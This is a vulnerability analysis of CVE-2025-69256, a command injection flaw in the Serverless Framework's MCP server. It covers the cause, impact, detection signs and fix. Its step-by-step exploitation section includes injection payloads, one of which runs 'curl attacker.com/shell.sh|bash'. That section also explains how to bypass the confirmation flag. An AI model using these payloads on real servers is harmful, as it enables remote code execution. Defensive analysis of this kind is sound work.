CVE-2025-69256: 
JavaScript vulnerability analysis and mitigation

CVE-2025-69256 is a command injection vulnerability in the Serverless Framework's experimental built-in MCP server package (@serverless/mcp), specifically in the list-projects tool. It affects Serverless Framework versions 4.29.0 through 4.29.2 (prior to 4.29.3) and was disclosed on December 30, 2025. The core Serverless Framework CLI and deployment functionality are not affected — only users of the experimental serverless mcp feature (less than 0.1% of users) are at risk. It carries a CVSS v3.1 base score of 7.5 (High) (Github Advisory, GitHub Security Advisory).

The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command), where the workspaceRoots parameter supplied by the user is passed unsanitized into a child_process.exec call within packages/mcp/src/lib/project-finder.js. The vulnerable code interpolates the user-controlled workspaceDir value directly into shell command strings such as `find "${rootDir}" -name "serverless.yml" ...`, enabling shell metacharacter injection via characters like |, >, &&, and $() subshell syntax. An attacker who can interact with the MCP server — either locally via an MCP client or remotely if the server is internet-exposed — can supply a crafted workspaceRoots value to execute arbitrary OS commands. The fix (commit 681ca03) replaces child_process.exec with child_process.execFile, passing arguments as a separate array to avoid shell interpretation, and adds directory validation (Github Advisory, Fix Commit).

Successful exploitation allows an attacker to execute arbitrary system commands under the privileges of the MCP server process, resulting in high confidentiality, integrity, and availability impact. An attacker could read sensitive files, modify system configurations, establish persistence, or disrupt service availability. If the MCP server is exposed to the internet, this constitutes a full remote code execution (RCE) scenario with no authentication required, potentially enabling lateral movement within the hosting environment (Github Advisory, GitHub Security Advisory).

A public proof-of-concept (PoC) is available in the GitHub Security Advisory and has been referenced on Vulners. A separate PoC repository (SimoesCTT/CTT-Serverless-RCE-v1.0) also appeared on GitHub. There is no confirmed evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.055% (17th percentile), indicating low but non-zero exploitation probability. The vulnerability is not listed in the CISA KEV catalog (Github Advisory, GitHub Security Advisory).

1. Identify target: Determine whether the target system is running Serverless Framework versions 4.29.0–4.29.2 with the experimental MCP server feature enabled (serverless mcp --transport sse).
2. Connect to MCP server: Use an MCP client or the MCP Inspector tool (npx @modelcontextprotocol/inspector) to connect to the MCP server endpoint (e.g., http://localhost:3001/sse for SSE transport).
3. Locate the vulnerable tool: Navigate to the Tools tab in MCP Inspector, click "List Tools", and select the list-projects tool.
4. Craft malicious payload: In the workspaceRoots field, supply a shell injection payload such as ["$(id>/tmp/pwned)"] or ["/tmp/$(curl attacker.com/shell.sh|bash)"] to inject arbitrary commands via subshell substitution.
5. Set userConfirmed flag: Set userConfirmed: true in the request to bypass the user confirmation check within the tool.
6. Trigger execution: Submit the tools/call request. The server passes the unsanitized workspaceRoots value into child_process.exec, causing the injected command to execute under the server process's privileges.
7. Confirm RCE: Verify command execution by checking for the output file or establishing a reverse shell connection (Github Advisory, GitHub Security Advisory).

• Network: Unexpected outbound connections from the host running the Serverless MCP server to unknown external IPs or domains; HTTP POST requests to the MCP SSE endpoint (/sse) containing workspaceRoots values with shell metacharacters ($(), |, &&, >).
• Logs: MCP server logs showing list-projects tool calls with anomalous workspaceRoots parameter values containing shell special characters; Node.js process errors related to unexpected command execution.
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the Node.js/MCP server process; new scripts, cron jobs, or SSH authorized keys added by the server process user.
• Process: Unusual child processes spawned by the Node.js MCP server process (e.g., bash, sh, curl, wget, python) visible in process trees; unexpected find command invocations with anomalous arguments.

Upgrade Serverless Framework to version 4.29.3 or later, which replaces the vulnerable child_process.exec calls with child_process.execFile and adds workspaceDir validation to prevent shell injection (Release 4.29.3, Fix Commit). As an interim workaround, disable the experimental MCP server feature entirely if it is not required. Additionally, restrict network access to the MCP server endpoint so it is not reachable from untrusted networks or the internet.

The vulnerability was reported by security researcher dellalibera and published by Serverless Framework maintainer austencollins on December 30, 2025. Social media activity was observed on Bluesky shortly after disclosure. Coverage appeared on security aggregators including Vulners, CIRCL, INCIBE-CERT, and CCN-CERT. The narrow impact scope (less than 0.1% of Serverless Framework users using an experimental feature) limited broader industry attention (Github Advisory).